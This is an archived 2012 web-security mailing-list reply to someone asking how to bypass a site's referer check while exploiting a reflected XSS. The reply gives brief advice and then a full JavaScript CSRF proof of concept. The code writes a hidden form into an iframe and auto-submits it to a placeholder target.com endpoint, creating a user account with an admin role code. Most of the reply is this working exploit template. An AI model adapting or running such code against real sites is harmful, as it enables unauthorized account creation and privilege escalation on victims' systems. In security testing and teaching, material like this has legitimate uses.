Re: Help with referer issues in XSS

"Ward, Jon" <[email protected]> Tue, 6 Mar 2012 10:58:38 -0500
Newsgroups	gmane.comp.security.websecurity,gmane.comp.security.web-applications
Message-ID	<7F3F6B512AF9414789943E9CD953BFF103A22933@crycorexch01.syntelorg.com>
1.) The referrer attribute is relevant only upon submission of the
request to the server.  That means that it usually doesn't affect an XSS
reflection.  Just submit a legitimate request and shove your attack
string in.
2.) The referrer attribute is a concern when doing a CSRF attack.


<%@page language="java" contentType="text/html"%>
				<div id="content">
					<h1>
						CSRF Test
					</h1>
					<Br/>
					<Br/>
					<Script type="text/javascript">
						var strSource = "\
							<HTML>\r\n\
	
<Body>\r\n\
	
<Form name=\"RequestForm\"
action=\"https://www.target.com/someFolder/someMethod.do?method=doSaveSe
ttings\" method=POST>\r\n\
	
<Input type=\"hidden\" name=\"mainAction\" value=\"create\">\r\n\
	
<Input type=\"hidden\" name=\"subAction\" value=\"OK\">\r\n\
	
<Input type=\"hidden\" name=\"motAction\" value=\"\">\r\n\
	
<Input type=\"hidden\" name=\"selectedItem\" value=\"\">\r\n\
	
<Input type=\"hidden\" name=\"companyName\" value=\"ACME, Inc.\">\r\n\
	
<Input type=\"hidden\" name=\"companyCd\" value=\"1102885751\">\r\n\
	
<Input type=\"hidden\" name=\"deptId\" value=\"\">\r\n\
	
<Input type=\"hidden\" name=\"currDeptId\" value=\"\">\r\n\
	
<Input type=\"hidden\" name=\"departmentID\" value=\"Dept\">\r\n\
	
<Input type=\"hidden\" name=\"userID\" value=\"CSRFTest0\">\r\n\
	
<Input type=\"hidden\" name=\"userFirstName\" value=\"J\">\r\n\
	
<Input type=\"hidden\" name=\"userLastName\" value=\"Deaux\">\r\n\
	
<Input type=\"hidden\" name=\"userLoginId\" value=\"CSRFTest0\">\r\n\
	
<Input type=\"hidden\" name=\"userPassword\" value=\"test123\">\r\n\
	
<Input type=\"hidden\" name=\"userPassword2\" value=\"test123\">\r\n\
	
<Input type=\"hidden\" name=\"addressOne\" value=\"123+Anystreet\">\r\n\
	
<Input type=\"hidden\" name=\"addressTwo\" value=\"\">\r\n\
	
<Input type=\"hidden\" name=\"cityName\" value=\"Anytown\">\r\n\
	
<Input type=\"hidden\" name=\"stateCd\" value=\"AL\">\r\n\
	
<Input type=\"hidden\" name=\"postalCd\" value=\"36310\">\r\n\
	
<Input type=\"hidden\" name=\"country\" value=\"US\">\r\n\
	
<Input type=\"hidden\" name=\"telephoneNbr\" value=\"9876543210\">\r\n\
	
<Input type=\"hidden\" name=\"faxNbr\" value=\"\">\r\n\
	
<Input type=\"hidden\" name=\"useDeptSettingsFlg\" value=\"true\">\r\n\
	
<Input type=\"hidden\" name=\"adminRoleCd\" value=\"A\">\r\n\
	
<\/Form>\r\n\
	
<\/Body>\r\n\
								<Script
type=\"text/javascript\">\r\n\
	
document.forms[\"RequestForm\"].submit();\r\n\
	
<\/Script>\r\n\
							<\/HTML>\r\n";
						var eleCSRFIFrame =
document.createElement("iframe");
	
eleCSRFIFrame.style.width = "80%";
	
eleCSRFIFrame.style.height = "80%";
	
document.body.appendChild(eleCSRFIFrame);
						
						var docFrameSource =
eleCSRFIFrame.document;
	
if(eleCSRFIFrame.contentDocument)
							docFrameSource =
eleCSRFIFrame.contentDocument;	// for NS6
						else
if(eleCSRFIFrame.contentWindow)
							docFrameSource =
eleCSRFIFrame.contentWindow.document;	// for IE6
						docFrameSource.open();
	
docFrameSource.writeln(strSource);
						docFrameSource.close();
					</Script>
				</div><!-- close: content -->




-----Original Message-----
From: [email protected] [mailto:[email protected]]
On Behalf Of Yuping Li
Sent: Friday, March 02, 2012 12:56 AM
To: [email protected]; [email protected]
Subject: Help with referer issues in XSS

Hi, all

Suppose there is a reflect XSS vulnerability in a pop SNS, but this
site is "concerned" about security, so they check the referer field of
certain POST request to make sure that they are normal and correct. Is
it possible for me to bypass this check within javascript? It seems
that I can't set this parameter like this:

xmlHttp.setRequestHeader("Referer","http://expected.target");

It would be appreciated if someone can give me a clue.

Regards,



This list is sponsored by Cenzic
--------------------------------------
Let Us Hack You. Before Hackers Do!
It's Finally Here - The Cenzic Website HealthCheck. FREE.
Request Yours Now! 
http://www.cenzic.com/2009HClaunch_Securityfocus
--------------------------------------


_______________________________________________
The Web Security Mailing List

WebSecurity RSS Feed
http://www.webappsec.org/rss/websecurity.rss

Join WASC on LinkedIn http://www.linkedin.com/e/gis/83336/4B20E4374DBA

WASC on Twitter
http://twitter.com/wascupdates

[email protected]
http://lists.webappsec.org/mailman/listinfo/websecurity_lists.webappsec.org